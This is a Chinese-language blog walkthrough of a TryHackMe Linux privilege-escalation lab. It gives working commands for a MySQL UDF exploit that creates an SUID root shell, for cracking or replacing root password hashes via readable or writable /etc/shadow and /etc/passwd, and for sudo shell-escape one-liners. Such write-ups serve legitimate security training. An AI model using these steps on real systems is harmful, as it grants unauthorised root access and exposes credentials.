首页 > 系统相关 >【THM】Linux PrivEsc

【THM】Linux PrivEsc

时间:2023-12-09 19:11:06浏览次数:45  
标签:PrivEsc sudo 用户 etc THM 哈希 Linux shadow root

服务漏洞利用

MySQL服务以root身份运行,并且该服务的“root”用户没有分配密码。我们可以使用一种流行的漏洞利用用户定义函数 (UDF) 通过 MySQL 服务以 root 身份运行系统命令。

MySQL(Linux)-UDF-exp地址链接:https://www.exploit-db.com/exploits/1518

相关漏洞详情:https://www.cvedetails.com/cve/CVE-2005-0711

该exp影响的目标范围:MySQL 4.x/5.0 (Linux) + 错误配置的 MySQLServer

切换到 /home/user/tools/mysql-udf 目录:

cd /home/user/tools/mysql-udf

使用以下命令编译 raptor_udf2.c 漏洞利用代码:

gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
#使用 gcc 需要两次运行才能编译成一个共享对象。 #你可以在目标机或者攻击机上编译 C 代码,如果你在攻击机上编译它,请记住操作系统的体系结构可能不同,所以最好还是在目标机上进行编译

以 root 用户身份使用空白密码连接到 MySQL 服务:

mysql -u root

在MySQL shell上执行以下命令,使用我们编译的漏洞创建用户定义函数(UDF)“do_system”:

#选择 mysql db
use mysql;

#我们需要创建一个临时表供我们使用。因为我们需要一个地方来加载共享的二进制文件到 MySQL。
create table foo(line blob);

#接下来需要将文件内容插入到表中
insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));

#要使用UDF,我们还需要找到插件目录的位置,这就是我们需要存储文件的地方,可以通过命令找到:show variables like '%plugin%';
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';

#创建函数
create function do_system returns integer soname 'raptor_udf2.so';

#验证函数是否成功被创建:select * from mysql.func;

使用函数将 /bin/bash 复制到 /tmp/rootbash 并设置 SUID 权限:

select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
退出 MySQL shell(键入 exit 或 \q 并按 Enter)并使用 -p 运行 /tmp/rootbash 可执行文件,以获得以 root 权限运行的 shell:
/tmp/rootbash -p

请记住删除 /tmp/rootbash 可执行文件并退出 root shell,然后再继续,因为您将稍后在房间中再次创建此文件!

rm /tmp/rootbash
exit

 弱文件权限 - 可读 /etc/shadow

/etc/shadow 文件包含用户密码哈希值,通常只能由 root 用户读取。

请注意,VM 上的 /etc/shadow 文件是全局可读的:

ls -l /etc/shadow

查看 /etc/shadow 文件的内容:

cat /etc/shadow

文件的每一行代表一个用户。用户的密码哈希值(如果有的话)可以在每行的第一个和第二个冒号 (:) 之间找到。

将根用户的哈希保存到 Kali VM 上名为 hash.txt 的文件中,并使用开膛手约翰破解它。您可能需要先解压缩 /usr/share/wordlists/rockyou.txt.gz然后根据您的 Kali 版本使用 sudo 运行命令:

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

切换到root用户,使用破解的密码:su root

弱文件权限 - 可写 /etc/shadow

/etc/shadow 文件包含用户密码哈希值,通常只能由 root 用户读取。

请注意,VM 上的 /etc/shadow 文件是全局可写的:

ls -l /etc/shadow

使用您选择的密码生成新的密码哈希:

mkpasswd -m sha-512 newpasswordhere

编辑 /etc/shadow 文件,并将原始 root 用户的密码哈希替换为您刚刚生成的密码哈希。

使用新密码切换到 root 用户:

su root

弱文件权限 - 可写 /etc/passwd

/etc/passwd 文件包含有关用户帐户的信息。它是全局可读的,但通常只能由 root 用户写入。从历史上看,/etc/passwd 文件包含用户密码哈希值,某些版本的 Linux 仍然允许将密码哈希值存储在那里。

请注意,/etc/passwd 文件是全局可写的:

ls -l /etc/passwd

使用您选择的密码生成新的密码哈希:

openssl passwd newpasswordhere

编辑 /etc/passwd 文件,并将生成的密码哈希值放在 root 用户行的第一个冒号和第二个冒号(:)之间(替换“x”)。

使用新密码切换到 root 用户:

su root

或者,复制 root 用户的行并将其附加到文件底部,将单词“root”的第一个实例更改为“newroot”,并将生成的密码哈希放在第一个冒号和第二个冒号之间(替换“x”)。

 

sudo - shell 转义序列

列出 sudo 允许用户运行的程序:

sudo -l

访问 go awayBins (https://gtfobins.github.io) 并搜索一些程序名称。如果程序以“sudo”作为函数列出,则可以使用它来提升权限,通常通过转义序列。

从列表中选择一个程序,然后尝试使用 go awayBins 中的说明获取 root shell。

对于额外的挑战,请尝试使用列表中的所有程序获得 root shell!

#iftop的sudo提权命令
sudo iftop
!/bin/sh

#nano的sudo提权命令
sudo nano
^R^X
reset; sh 1>&0 2>&0

#vim的sudo提权命令
sudo vim -c ':!/bin/sh'  #还有其他可行命令,但是需要语言环境支持,具体请参考GTFOBins

#man的sudo提权命令
sudo man man
!/bin/sh

#awk的sudo提权命令
sudo awk 'BEGIN {system("/bin/sh")}'

#less的sudo提权命令
sudo less /etc/profile
!/bin/sh

#nmap的sudo提权命令(禁用输入回显)
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF

#nmap的sudo提权命令(利用nmap版本2.02至5.21的交互模式)
sudo nmap --interactive
nmap> !sh

#more的sudo提权命令
TERM= sudo more /etc/profile
!/bin/sh

大概提权的想法都是用root身份去开一个窗口然后退出并执行/bin/bash

标签:PrivEsc,sudo,用户,etc,THM,哈希,Linux,shadow,root
From: https://www.cnblogs.com/trymonoly/p/17891226.html

相关文章

  • Linux-03shell语法
    概论shell是什么shell是我们通过命令行与操作系统沟通的语言。shell脚本可以直接在命令行中执行,也可以将一套逻辑组织成一个文件,方便复用。ACTerminal中的命令行可以看成是一个“shell脚本在逐行执行”。Linux中常见的shell脚本有很多种,常见的有:BourneShell(/usr......
  • Linux 配置NTP时间同步服务
    1.安装[可选,如已安装则跳过]aptinstallntp2.启动NTP服务systemctlstartntpdsystemctlenablentpd3.查看NTP服务运行状态systemctlstatusntpd4.修改配置文件vi/etc/ntpsec/ntp.conf查找配置文件命令find/-namentp.conf1.使用第三方NTP地址进行时间同步......
  • Linux下的Cache和TLB刷新 【ChatGPT】
    https://www.kernel.org/doc/html/v6.6/core-api/cachetlb.htmlLinux下的Cache和TLB刷新作者:[email protected]本文描述了LinuxVM子系统调用的缓存/TLB刷新接口。它枚举了每个接口,描述了其预期目的以及在调用接口后预期的副作用。下面描述的副作用是针对单......
  • linux安装telnet远程
    安装telnet远程1.RPM安装yuminstall-ytelnet*xinetd2.启动服务//开启xinetd服务systemctlrestartxinetd//xinetd开机自启systemctlenablexinetd//开启telnet.socket服务systemctlrestarttelnet.socket//telnet.socket开机自启systemctlenabletelnet......
  • linux的sort排序功能
    环境centos7.9sort介绍Linux中的sort功能是一个非常实用的工具,它可以对文本文件进行排序。sort命令可以根据用户指定的规则对文本文件中的行进行排序,并将结果输出到标准输出或指定的文件中简单使用语法sort[选项][文件名]其中,选项可以是以下之一:-r:逆序排序(默认为升序)-n......
  • Linux p15 定时任务调度
    【学习课程】:【【小白入门通俗易懂】2021韩顺平一周学会Linux】https://www.bilibili.com/video/BV1Sv411r7vd/?p=14&share_source=copy_web&vd_source=2c07d62293f5003c919b2df9b2e0549e定时任务调度一、crond任务调度基本介绍crontab进行定时任务的设置概述任务调......
  • Volatility2.6内存取证工具安装及入门Linux和Windows下安装
    (Volatility2.6内存取证工具安装及入门Linux和Windows下安装)1-1.Volatility2.6简介Volatility是一个完全开源的工具,用于从内存(RAM)样本中提取数字工件。支持Windows,Linux,MaC,Android等多类型操作系统系统的内存取证。那么针对竞赛这块(CTF、技能大赛等)基本上都是用在Misc方......
  • Linux 磁盘存储管理
    BlueArchive磁盘存储管理概述Linux磁盘分区命名方式分区体系MBR分区和GPT分区管理分区的命令fdiskMBR分区gdiskGPT分区parted两者都可以下面主要以命令fdisk为例:fdisk-l//查看目前分区情况那我们就对/dev/sda进行分区吧:......
  • linux ftp服务器vsftpd安装
    前提:一定关关闭selinux!!!,然后重启服务器安装 yum-yinstallvsftpd systemctlenablevsftpd.service systemctlstartvsftpd.service添加用户 adduserftptest passwdftptest配置文件/etc/vsftpd/vsftpd.confanonymous_enable=NOlocal_enable=YESwrite_enable=Y......
  • 【Linux date命令查看日期时间】
    Linuxdate命令在Linux操作系统中,date命令用于查看和操作日期和时间。无论需要查看当前日期时间,还是在脚本中获取时间戳。1.查看当前日期和时间date显示当前日期和时间,包括年、月、日、时、分和秒。2.自定义日期时间格式date命令允许自定义日期时间的显示格式。可以使用不......